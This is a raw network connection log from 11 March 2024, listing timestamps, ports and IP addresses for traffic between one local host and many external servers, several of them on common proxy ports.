Mar 11, 2024 16:42:19.157617092 CET	4145	50212	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:19.157649040 CET	4145	50212	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:19.157943010 CET	50670	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:19.158579111 CET	50671	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:19.158781052 CET	80	49971	52.196.1.182	192.168.2.11
Mar 11, 2024 16:42:19.159089088 CET	50672	36946	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:19.159246922 CET	41491	50394	167.172.109.12	192.168.2.11
Mar 11, 2024 16:42:19.159373045 CET	50673	8080	192.168.2.11	102.214.104.56
Mar 11, 2024 16:42:19.159518957 CET	80	50388	104.25.81.82	192.168.2.11
Mar 11, 2024 16:42:19.159840107 CET	80	50388	104.25.81.82	192.168.2.11
Mar 11, 2024 16:42:19.160022020 CET	80	50388	104.25.81.82	192.168.2.11
Mar 11, 2024 16:42:19.160178900 CET	50388	80	192.168.2.11	104.25.81.82
Mar 11, 2024 16:42:19.160516977 CET	50388	80	192.168.2.11	104.25.81.82
Mar 11, 2024 16:42:19.160695076 CET	80	50237	104.17.171.235	192.168.2.11
Mar 11, 2024 16:42:19.160772085 CET	80	50371	91.65.102.60	192.168.2.11
Mar 11, 2024 16:42:19.161114931 CET	8080	50378	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:19.161228895 CET	9002	50253	222.138.76.6	192.168.2.11
Mar 11, 2024 16:42:19.161230087 CET	50371	80	192.168.2.11	91.65.102.60
Mar 11, 2024 16:42:19.161322117 CET	50371	80	192.168.2.11	91.65.102.60
Mar 11, 2024 16:42:19.161331892 CET	50378	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:19.161509991 CET	50253	9002	192.168.2.11	222.138.76.6
Mar 11, 2024 16:42:19.161509991 CET	50253	9002	192.168.2.11	222.138.76.6
Mar 11, 2024 16:42:19.161566973 CET	50378	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:19.162199974 CET	50674	3128	192.168.2.11	201.243.82.157
Mar 11, 2024 16:42:19.162619114 CET	50675	37920	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:19.162619114 CET	50676	52858	192.168.2.11	195.177.217.131
Mar 11, 2024 16:42:19.162841082 CET	50677	80	192.168.2.11	172.67.181.97
Mar 11, 2024 16:42:19.163172007 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:19.163173914 CET	8888	50460	23.94.123.243	192.168.2.11
Mar 11, 2024 16:42:19.163201094 CET	50678	2536	192.168.2.11	148.72.206.84
Mar 11, 2024 16:42:19.163292885 CET	50460	8888	192.168.2.11	23.94.123.243
Mar 11, 2024 16:42:19.163659096 CET	50460	8888	192.168.2.11	23.94.123.243
Mar 11, 2024 16:42:19.164208889 CET	50679	1080	192.168.2.11	195.98.93.234
Mar 11, 2024 16:42:19.164834023 CET	50680	52173	192.168.2.11	31.24.44.92
Mar 11, 2024 16:42:19.165254116 CET	50681	4153	192.168.2.11	170.81.108.46
Mar 11, 2024 16:42:19.166424036 CET	50682	48200	192.168.2.11	43.230.196.98
Mar 11, 2024 16:42:19.166647911 CET	50683	3128	192.168.2.11	192.46.229.19
Mar 11, 2024 16:42:19.167355061 CET	50685	80	192.168.2.11	50.174.214.222
Mar 11, 2024 16:42:19.167356968 CET	50684	61344	192.168.2.11	75.119.145.169
Mar 11, 2024 16:42:19.167792082 CET	8193	49930	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.167804003 CET	8193	49930	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.167819023 CET	50686	80	192.168.2.11	104.25.42.178
Mar 11, 2024 16:42:19.168760061 CET	8193	50409	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.168796062 CET	50687	8080	192.168.2.11	160.119.148.190
Mar 11, 2024 16:42:19.168972015 CET	5430	50064	202.179.184.44	192.168.2.11
Mar 11, 2024 16:42:19.168997049 CET	50409	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:19.169023037 CET	5430	50064	202.179.184.44	192.168.2.11
Mar 11, 2024 16:42:19.169282913 CET	50409	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:19.169661045 CET	50688	44550	192.168.2.11	190.144.224.182
Mar 11, 2024 16:42:19.170741081 CET	50689	8080	192.168.2.11	68.188.93.171
Mar 11, 2024 16:42:19.170768976 CET	50690	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:19.171127081 CET	50691	3128	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:19.171324968 CET	50693	999	192.168.2.11	201.71.3.61
Mar 11, 2024 16:42:19.171324968 CET	50692	3128	192.168.2.11	176.58.96.11
Mar 11, 2024 16:42:19.171812057 CET	24543	50419	209.159.153.19	192.168.2.11
Mar 11, 2024 16:42:19.172194004 CET	50694	80	192.168.2.11	104.19.225.70
Mar 11, 2024 16:42:19.172367096 CET	50419	24543	192.168.2.11	209.159.153.19
Mar 11, 2024 16:42:19.172704935 CET	50695	8080	192.168.2.11	51.145.176.250
Mar 11, 2024 16:42:19.172707081 CET	50419	24543	192.168.2.11	209.159.153.19
Mar 11, 2024 16:42:19.172872066 CET	49890	8080	192.168.2.11	103.147.247.79
Mar 11, 2024 16:42:19.172872066 CET	49887	16379	192.168.2.11	51.15.254.129
Mar 11, 2024 16:42:19.172873974 CET	49891	3128	192.168.2.11	94.131.106.196
Mar 11, 2024 16:42:19.172884941 CET	50021	3933	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:19.172887087 CET	49885	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:19.172887087 CET	49886	1080	192.168.2.11	89.187.216.58
Mar 11, 2024 16:42:19.172957897 CET	50017	80	192.168.2.11	50.168.210.239
Mar 11, 2024 16:42:19.172957897 CET	49894	53783	192.168.2.11	162.241.46.69
Mar 11, 2024 16:42:19.172960043 CET	49895	8080	192.168.2.11	95.47.149.8
Mar 11, 2024 16:42:19.173221111 CET	8080	50370	213.184.153.66	192.168.2.11
Mar 11, 2024 16:42:19.173264980 CET	50696	80	192.168.2.11	50.230.222.202
Mar 11, 2024 16:42:19.173980951 CET	50697	24001	192.168.2.11	139.196.186.157
Mar 11, 2024 16:42:19.174343109 CET	50370	8080	192.168.2.11	213.184.153.66
Mar 11, 2024 16:42:19.174436092 CET	50370	8080	192.168.2.11	213.184.153.66
Mar 11, 2024 16:42:19.174505949 CET	50698	8080	192.168.2.11	151.22.181.205
Mar 11, 2024 16:42:19.175436020 CET	50699	1080	192.168.2.11	103.140.205.133
Mar 11, 2024 16:42:19.175441980 CET	50700	8080	192.168.2.11	188.132.222.7
Mar 11, 2024 16:42:19.176235914 CET	50701	27207	192.168.2.11	91.134.140.160
Mar 11, 2024 16:42:19.177078009 CET	50703	4145	192.168.2.11	198.8.94.170
Mar 11, 2024 16:42:19.177319050 CET	50702	35396	192.168.2.11	192.163.200.200
Mar 11, 2024 16:42:19.177833080 CET	50704	5678	192.168.2.11	115.243.142.185
Mar 11, 2024 16:42:19.179465055 CET	50706	4145	192.168.2.11	72.210.221.223
Mar 11, 2024 16:42:19.179666042 CET	50707	4145	192.168.2.11	61.7.183.101
Mar 11, 2024 16:42:19.179785967 CET	8080	50377	91.148.127.162	192.168.2.11
Mar 11, 2024 16:42:19.180361986 CET	14282	50489	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:19.180500031 CET	50377	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:19.181462049 CET	50377	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:19.181775093 CET	8888	50425	188.166.30.17	192.168.2.11
Mar 11, 2024 16:42:19.182717085 CET	80	50491	50.239.72.17	192.168.2.11
Mar 11, 2024 16:42:19.183089018 CET	80	50277	104.17.166.210	192.168.2.11
Mar 11, 2024 16:42:19.183155060 CET	80	50282	172.67.181.129	192.168.2.11
Mar 11, 2024 16:42:19.184864998 CET	1080	50365	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:19.185051918 CET	50365	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:19.185473919 CET	8081	49719	154.72.90.74	192.168.2.11
Mar 11, 2024 16:42:19.185502052 CET	50365	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:19.187724113 CET	50709	2222	192.168.2.11	223.25.100.42
Mar 11, 2024 16:42:19.187724113 CET	50708	9002	192.168.2.11	221.6.139.190
Mar 11, 2024 16:42:19.188152075 CET	50710	4145	192.168.2.11	72.195.34.41
Mar 11, 2024 16:42:19.188190937 CET	50711	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:19.188215017 CET	50712	8083	192.168.2.11	103.84.177.27
Mar 11, 2024 16:42:19.188308001 CET	50713	8187	192.168.2.11	176.8.230.197
Mar 11, 2024 16:42:19.188375950 CET	50714	13087	192.168.2.11	67.43.236.18
Mar 11, 2024 16:42:19.188474894 CET	49993	37355	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:19.188498020 CET	50048	80	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:19.188499928 CET	49888	31337	192.168.2.11	186.251.255.105
Mar 11, 2024 16:42:19.188631058 CET	50715	8080	192.168.2.11	188.132.222.38
Mar 11, 2024 16:42:19.189980030 CET	50717	3128	192.168.2.11	51.178.165.36
Mar 11, 2024 16:42:19.189980984 CET	50716	5678	192.168.2.11	196.61.44.54
Mar 11, 2024 16:42:19.190306902 CET	50718	999	192.168.2.11	157.100.6.202
Mar 11, 2024 16:42:19.190882921 CET	50719	10677	192.168.2.11	72.10.160.173
Mar 11, 2024 16:42:19.190911055 CET	50720	80	192.168.2.11	104.22.50.220
Mar 11, 2024 16:42:19.191528082 CET	50721	8080	192.168.2.11	51.68.220.201
Mar 11, 2024 16:42:19.192287922 CET	50722	8080	192.168.2.11	154.126.81.163
Mar 11, 2024 16:42:19.192287922 CET	50723	8888	192.168.2.11	35.199.90.225
Mar 11, 2024 16:42:19.192521095 CET	50724	64579	192.168.2.11	162.214.121.173
Mar 11, 2024 16:42:19.193521023 CET	50725	4153	192.168.2.11	46.28.72.75
Mar 11, 2024 16:42:19.193562984 CET	50726	7999	192.168.2.11	122.185.198.242
Mar 11, 2024 16:42:19.193727016 CET	50727	15805	192.168.2.11	172.93.111.87
Mar 11, 2024 16:42:19.194261074 CET	50728	17639	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:19.194969893 CET	3128	50203	13.208.168.179	192.168.2.11
Mar 11, 2024 16:42:19.194979906 CET	50729	80	192.168.2.11	139.99.244.154
Mar 11, 2024 16:42:19.194979906 CET	50730	19770	192.168.2.11	207.244.255.174
Mar 11, 2024 16:42:19.195183992 CET	5775	49915	72.10.160.92	192.168.2.11
Mar 11, 2024 16:42:19.196238041 CET	50731	80	192.168.2.11	172.67.127.188
Mar 11, 2024 16:42:19.196238041 CET	50732	8080	192.168.2.11	165.227.95.2
Mar 11, 2024 16:42:19.196469069 CET	50733	34405	192.168.2.11	212.110.188.198
Mar 11, 2024 16:42:19.196887970 CET	50735	36779	192.168.2.11	147.124.212.31
Mar 11, 2024 16:42:19.196890116 CET	50734	80	192.168.2.11	18.142.81.218
Mar 11, 2024 16:42:19.196988106 CET	3128	50203	13.208.168.179	192.168.2.11
Mar 11, 2024 16:42:19.197050095 CET	50736	62916	192.168.2.11	51.222.241.8
Mar 11, 2024 16:42:19.197593927 CET	50203	3128	192.168.2.11	13.208.168.179
Mar 11, 2024 16:42:19.197884083 CET	50737	8080	192.168.2.11	203.150.172.151
Mar 11, 2024 16:42:19.198551893 CET	80	50510	173.245.49.27	192.168.2.11
Mar 11, 2024 16:42:19.198581934 CET	50738	64523	192.168.2.11	46.105.44.29
Mar 11, 2024 16:42:19.198734045 CET	50510	80	192.168.2.11	173.245.49.27
Mar 11, 2024 16:42:19.198865891 CET	50739	5678	192.168.2.11	36.66.133.19
Mar 11, 2024 16:42:19.198865891 CET	50510	80	192.168.2.11	173.245.49.27
Mar 11, 2024 16:42:19.199640989 CET	50740	80	192.168.2.11	172.67.182.107
Mar 11, 2024 16:42:19.199666023 CET	50741	1080	192.168.2.11	143.137.116.72
Mar 11, 2024 16:42:19.200639009 CET	50743	11339	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:19.200777054 CET	50744	43328	192.168.2.11	192.169.226.96
Mar 11, 2024 16:42:19.200809956 CET	50742	4228	192.168.2.11	5.161.219.13
Mar 11, 2024 16:42:19.201754093 CET	50745	5678	192.168.2.11	115.75.160.196
Mar 11, 2024 16:42:19.201905012 CET	50746	3128	192.168.2.11	103.28.121.58
Mar 11, 2024 16:42:19.203265905 CET	50748	80	192.168.2.11	190.5.77.211
Mar 11, 2024 16:42:19.203268051 CET	50747	80	192.168.2.11	65.1.244.232
Mar 11, 2024 16:42:19.203269005 CET	50749	1976	192.168.2.11	217.52.247.86
Mar 11, 2024 16:42:19.203679085 CET	50750	80	192.168.2.11	50.175.212.79
Mar 11, 2024 16:42:19.203711987 CET	50751	8080	192.168.2.11	165.16.67.238
Mar 11, 2024 16:42:19.204112053 CET	50033	26087	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:19.204112053 CET	49901	8080	192.168.2.11	103.153.232.41
Mar 11, 2024 16:42:19.204113007 CET	49902	55443	192.168.2.11	202.165.47.90
Mar 11, 2024 16:42:19.204139948 CET	49898	49806	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:19.204873085 CET	50753	47354	192.168.2.11	67.213.212.49
Mar 11, 2024 16:42:19.205002069 CET	50752	80	192.168.2.11	50.207.199.80
Mar 11, 2024 16:42:19.205318928 CET	8090	49763	103.127.106.249	192.168.2.11
Mar 11, 2024 16:42:19.205387115 CET	4145	50393	103.58.16.57	192.168.2.11
Mar 11, 2024 16:42:19.205408096 CET	50754	62952	192.168.2.11	104.248.158.78
Mar 11, 2024 16:42:19.205410004 CET	50755	64110	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:19.205410004 CET	49763	8090	192.168.2.11	103.127.106.249
Mar 11, 2024 16:42:19.206059933 CET	49763	8090	192.168.2.11	103.127.106.249
Mar 11, 2024 16:42:19.206120014 CET	50756	23685	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.206491947 CET	50757	46919	192.168.2.11	51.15.16.96
Mar 11, 2024 16:42:19.206496954 CET	50758	8089	192.168.2.11	118.117.190.148
Mar 11, 2024 16:42:19.206701040 CET	50759	7117	192.168.2.11	135.181.102.118
Mar 11, 2024 16:42:19.207766056 CET	50761	8081	192.168.2.11	178.141.249.246
Mar 11, 2024 16:42:19.207814932 CET	50760	9090	192.168.2.11	91.241.217.58
Mar 11, 2024 16:42:19.208607912 CET	50762	64556	192.168.2.11	213.136.79.177
Mar 11, 2024 16:42:19.209074020 CET	50763	37976	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:19.209076881 CET	50764	6005	192.168.2.11	45.11.95.166
Mar 11, 2024 16:42:19.209409952 CET	50765	80	192.168.2.11	123.110.158.236
Mar 11, 2024 16:42:19.209410906 CET	31247	50347	202.40.181.220	192.168.2.11
Mar 11, 2024 16:42:19.209480047 CET	50347	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:19.209533930 CET	80	50437	172.67.14.237	192.168.2.11
Mar 11, 2024 16:42:19.209543943 CET	50766	80	192.168.2.11	50.170.90.34
Mar 11, 2024 16:42:19.209722042 CET	4145	50537	184.181.217.206	192.168.2.11
Mar 11, 2024 16:42:19.209996939 CET	80	50437	172.67.14.237	192.168.2.11
Mar 11, 2024 16:42:19.210009098 CET	50347	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:19.210067034 CET	50537	4145	192.168.2.11	184.181.217.206
Mar 11, 2024 16:42:19.210237980 CET	50437	80	192.168.2.11	172.67.14.237
Mar 11, 2024 16:42:19.210961103 CET	80	50439	185.238.228.240	192.168.2.11
Mar 11, 2024 16:42:19.211028099 CET	80	50439	185.238.228.240	192.168.2.11
Mar 11, 2024 16:42:19.211132050 CET	80	50439	185.238.228.240	192.168.2.11
Mar 11, 2024 16:42:19.211585999 CET	50439	80	192.168.2.11	185.238.228.240
Mar 11, 2024 16:42:19.211585999 CET	80	50437	172.67.14.237	192.168.2.11
Mar 11, 2024 16:42:19.211613894 CET	50767	8080	192.168.2.11	45.150.25.132
Mar 11, 2024 16:42:19.211723089 CET	50437	80	192.168.2.11	172.67.14.237
Mar 11, 2024 16:42:19.211724043 CET	50439	80	192.168.2.11	185.238.228.240
Mar 11, 2024 16:42:19.211724043 CET	50768	7497	192.168.2.11	187.191.53.155
Mar 11, 2024 16:42:19.212239027 CET	50769	4153	192.168.2.11	177.131.29.211
Mar 11, 2024 16:42:19.213028908 CET	50770	80	192.168.2.11	50.168.163.180
Mar 11, 2024 16:42:19.213028908 CET	50771	5369	192.168.2.11	72.10.160.171
Mar 11, 2024 16:42:19.213339090 CET	50772	4850	192.168.2.11	192.169.226.96
Mar 11, 2024 16:42:19.214005947 CET	50773	3128	192.168.2.11	134.209.29.120
Mar 11, 2024 16:42:19.214714050 CET	50775	4145	192.168.2.11	74.119.147.209
Mar 11, 2024 16:42:19.214739084 CET	50774	56581	192.168.2.11	159.223.71.71
Mar 11, 2024 16:42:19.215300083 CET	50776	55636	192.168.2.11	1.179.148.9
Mar 11, 2024 16:42:19.215431929 CET	50777	3629	192.168.2.11	190.3.72.38
Mar 11, 2024 16:42:19.215949059 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:19.216425896 CET	50779	8083	192.168.2.11	103.84.177.28
Mar 11, 2024 16:42:19.216425896 CET	50778	59623	192.168.2.11	62.182.114.164
Mar 11, 2024 16:42:19.216989040 CET	50780	5678	192.168.2.11	93.182.76.244
Mar 11, 2024 16:42:19.217077971 CET	50781	4145	192.168.2.11	168.205.217.37
Mar 11, 2024 16:42:19.217509031 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:19.217618942 CET	80	50563	31.43.179.160	192.168.2.11
Mar 11, 2024 16:42:19.217648983 CET	80	50190	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:19.217648983 CET	50782	8080	192.168.2.11	103.172.42.121
Mar 11, 2024 16:42:19.217721939 CET	80	50190	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:19.217753887 CET	50190	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:19.217756987 CET	50563	80	192.168.2.11	31.43.179.160
Mar 11, 2024 16:42:19.218039036 CET	50563	80	192.168.2.11	31.43.179.160
Mar 11, 2024 16:42:19.218085051 CET	50190	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:19.218086004 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:19.218727112 CET	50783	8080	192.168.2.11	180.191.254.130
Mar 11, 2024 16:42:19.218803883 CET	50784	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:19.219120979 CET	50785	83	192.168.2.11	103.183.63.14
Mar 11, 2024 16:42:19.219480991 CET	50786	3629	192.168.2.11	190.3.72.39
Mar 11, 2024 16:42:19.219744921 CET	49906	42931	192.168.2.11	88.211.85.169
Mar 11, 2024 16:42:19.219777107 CET	49900	8090	192.168.2.11	119.28.60.64
Mar 11, 2024 16:42:19.219779015 CET	49903	8061	192.168.2.11	103.169.254.186
Mar 11, 2024 16:42:19.219794989 CET	49908	9091	192.168.2.11	103.112.128.37
Mar 11, 2024 16:42:19.219796896 CET	49909	9090	192.168.2.11	45.90.104.150
Mar 11, 2024 16:42:19.219825983 CET	49978	8080	192.168.2.11	92.118.132.125
Mar 11, 2024 16:42:19.219825029 CET	49907	5484	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.219825983 CET	49722	44607	192.168.2.11	162.241.6.97
Mar 11, 2024 16:42:19.219829082 CET	49899	5678	192.168.2.11	173.224.20.136
Mar 11, 2024 16:42:19.220087051 CET	50787	8282	192.168.2.11	193.138.178.6
Mar 11, 2024 16:42:19.220851898 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.221050978 CET	50788	1976	192.168.2.11	41.65.236.56
Mar 11, 2024 16:42:19.222001076 CET	50789	80	192.168.2.11	119.81.71.27
Mar 11, 2024 16:42:19.222004890 CET	50790	80	192.168.2.11	104.27.26.29
Mar 11, 2024 16:42:19.222274065 CET	50791	28513	192.168.2.11	213.136.78.200
Mar 11, 2024 16:42:19.222449064 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.222496986 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.222532988 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.222575903 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.222588062 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.222650051 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.222714901 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.222822905 CET	50173	1337	192.168.2.11	185.217.136.67
Mar 11, 2024 16:42:19.222886086 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.223217010 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:19.223472118 CET	50792	17228	192.168.2.11	207.180.198.241
Mar 11, 2024 16:42:19.223498106 CET	50793	999	192.168.2.11	38.7.4.89
Mar 11, 2024 16:42:19.223575115 CET	50173	1337	192.168.2.11	185.217.136.67
Mar 11, 2024 16:42:19.225598097 CET	50794	80	192.168.2.11	172.67.181.12
Mar 11, 2024 16:42:19.225925922 CET	50795	80	192.168.2.11	50.207.199.87
Mar 11, 2024 16:42:19.226656914 CET	50796	33572	192.168.2.11	162.214.121.173
Mar 11, 2024 16:42:19.226823092 CET	3629	50403	91.220.69.43	192.168.2.11
Mar 11, 2024 16:42:19.226970911 CET	50797	8595	192.168.2.11	132.148.128.88
Mar 11, 2024 16:42:19.227164984 CET	50798	1372	192.168.2.11	159.223.166.21
Mar 11, 2024 16:42:19.227819920 CET	50801	13276	192.168.2.11	147.124.212.31
Mar 11, 2024 16:42:19.227864027 CET	50799	8080	192.168.2.11	37.120.192.154
Mar 11, 2024 16:42:19.228471994 CET	80	50584	185.238.228.202	192.168.2.11
Mar 11, 2024 16:42:19.229523897 CET	50584	80	192.168.2.11	185.238.228.202
Mar 11, 2024 16:42:19.229655981 CET	50800	80	192.168.2.11	104.27.37.131
Mar 11, 2024 16:42:19.229948997 CET	16379	50452	51.158.105.107	192.168.2.11
Mar 11, 2024 16:42:19.230211973 CET	80	50587	104.25.87.42	192.168.2.11
Mar 11, 2024 16:42:19.230350971 CET	50452	16379	192.168.2.11	51.158.105.107
Mar 11, 2024 16:42:19.230376005 CET	9764	50331	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.230413914 CET	50587	80	192.168.2.11	104.25.87.42
Mar 11, 2024 16:42:19.230442047 CET	9764	50331	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.230475903 CET	50587	80	192.168.2.11	104.25.87.42
Mar 11, 2024 16:42:19.230751991 CET	80	50588	104.21.223.181	192.168.2.11
Mar 11, 2024 16:42:19.231043100 CET	50584	80	192.168.2.11	185.238.228.202
Mar 11, 2024 16:42:19.231049061 CET	50802	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:19.231110096 CET	50588	80	192.168.2.11	104.21.223.181
Mar 11, 2024 16:42:19.231168985 CET	50588	80	192.168.2.11	104.21.223.181
Mar 11, 2024 16:42:19.231353045 CET	50452	16379	192.168.2.11	51.158.105.107
Mar 11, 2024 16:42:19.231822014 CET	9090	49867	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:19.232079029 CET	50803	5678	192.168.2.11	79.7.101.98
Mar 11, 2024 16:42:19.232085943 CET	50804	1080	192.168.2.11	103.47.93.194
Mar 11, 2024 16:42:19.232609987 CET	9090	49867	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:19.232722044 CET	80	50297	104.18.161.122	192.168.2.11
Mar 11, 2024 16:42:19.232769012 CET	8888	50410	120.79.101.0	192.168.2.11
Mar 11, 2024 16:42:19.232815981 CET	50805	4145	192.168.2.11	185.169.181.25
Mar 11, 2024 16:42:19.233011007 CET	50410	8888	192.168.2.11	120.79.101.0
Mar 11, 2024 16:42:19.233102083 CET	50410	8888	192.168.2.11	120.79.101.0
Mar 11, 2024 16:42:19.233964920 CET	50806	80	192.168.2.11	89.31.143.12
Mar 11, 2024 16:42:19.234126091 CET	80	50440	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:19.234255075 CET	50440	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:19.235378981 CET	50440	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:19.235385895 CET	50159	24787	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:19.235394001 CET	49913	80	192.168.2.11	165.154.236.214
Mar 11, 2024 16:42:19.235399008 CET	49914	8080	192.168.2.11	46.0.203.186
Mar 11, 2024 16:42:19.235404968 CET	49965	13623	192.168.2.11	36.255.104.1
Mar 11, 2024 16:42:19.235399961 CET	49918	3128	192.168.2.11	5.252.23.249
Mar 11, 2024 16:42:19.235405922 CET	49724	15082	192.168.2.11	45.77.111.135
Mar 11, 2024 16:42:19.235405922 CET	49911	13003	192.168.2.11	192.99.207.129
Mar 11, 2024 16:42:19.235424995 CET	49917	1974	192.168.2.11	41.33.203.115
Mar 11, 2024 16:42:19.235425949 CET	49916	80	192.168.2.11	103.152.112.145
Mar 11, 2024 16:42:19.235594988 CET	49920	10710	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:19.235658884 CET	49922	80	192.168.2.11	178.128.200.87
Mar 11, 2024 16:42:19.236428976 CET	50807	4145	192.168.2.11	192.111.134.10
Mar 11, 2024 16:42:19.238439083 CET	3128	49824	15.236.106.236	192.168.2.11
Mar 11, 2024 16:42:19.238544941 CET	50808	38817	192.168.2.11	77.48.23.181
Mar 11, 2024 16:42:19.239078045 CET	80	50447	172.67.209.12	192.168.2.11
Mar 11, 2024 16:42:19.239090919 CET	80	50447	172.67.209.12	192.168.2.11
Mar 11, 2024 16:42:19.239145041 CET	50809	8080	192.168.2.11	115.96.208.124
Mar 11, 2024 16:42:19.239500046 CET	80	50447	172.67.209.12	192.168.2.11
Mar 11, 2024 16:42:19.240422964 CET	50810	80	192.168.2.11	149.102.130.120
Mar 11, 2024 16:42:19.240430117 CET	9090	50412	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:19.240454912 CET	50447	80	192.168.2.11	172.67.209.12
Mar 11, 2024 16:42:19.240503073 CET	50447	80	192.168.2.11	172.67.209.12
Mar 11, 2024 16:42:19.240592003 CET	50412	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:19.241322994 CET	50412	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:19.241914988 CET	30453	50521	174.136.57.169	192.168.2.11
Mar 11, 2024 16:42:19.242197990 CET	50521	30453	192.168.2.11	174.136.57.169
Mar 11, 2024 16:42:19.242569923 CET	80	49912	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:19.242594957 CET	50811	4145	192.168.2.11	142.54.232.6
Mar 11, 2024 16:42:19.242619038 CET	80	49912	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:19.242659092 CET	50521	30453	192.168.2.11	174.136.57.169
Mar 11, 2024 16:42:19.242886066 CET	999	50490	190.71.24.129	192.168.2.11
Mar 11, 2024 16:42:19.243509054 CET	50813	9002	192.168.2.11	39.165.0.137
Mar 11, 2024 16:42:19.243530989 CET	80	50609	104.16.109.207	192.168.2.11
Mar 11, 2024 16:42:19.244062901 CET	50609	80	192.168.2.11	104.16.109.207
Mar 11, 2024 16:42:19.244225979 CET	55137	50010	192.169.197.146	192.168.2.11
Mar 11, 2024 16:42:19.244365931 CET	50609	80	192.168.2.11	104.16.109.207
Mar 11, 2024 16:42:19.244471073 CET	50814	8181	192.168.2.11	103.152.232.99
Mar 11, 2024 16:42:19.244827986 CET	5678	49927	181.78.13.91	192.168.2.11
Mar 11, 2024 16:42:19.245034933 CET	50815	8080	192.168.2.11	125.26.183.79
Mar 11, 2024 16:42:19.245712996 CET	80	50451	104.20.103.68	192.168.2.11
Mar 11, 2024 16:42:19.245801926 CET	80	50451	104.20.103.68	192.168.2.11
Mar 11, 2024 16:42:19.246361971 CET	80	50451	104.20.103.68	192.168.2.11
Mar 11, 2024 16:42:19.246460915 CET	50451	80	192.168.2.11	104.20.103.68
Mar 11, 2024 16:42:19.246522903 CET	3128	49877	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:19.246545076 CET	50451	80	192.168.2.11	104.20.103.68
Mar 11, 2024 16:42:19.247531891 CET	15673	50536	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:19.247772932 CET	50536	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:19.247772932 CET	50536	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:19.248233080 CET	15673	50389	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:19.248245955 CET	4145	50405	168.205.217.13	192.168.2.11
Mar 11, 2024 16:42:19.248271942 CET	50812	2233	192.168.2.11	104.131.77.66
Mar 11, 2024 16:42:19.248833895 CET	50817	4145	192.168.2.11	103.210.35.40
Mar 11, 2024 16:42:19.248893023 CET	50816	34227	192.168.2.11	162.214.102.195
Mar 11, 2024 16:42:19.249087095 CET	50818	8080	192.168.2.11	177.229.210.50
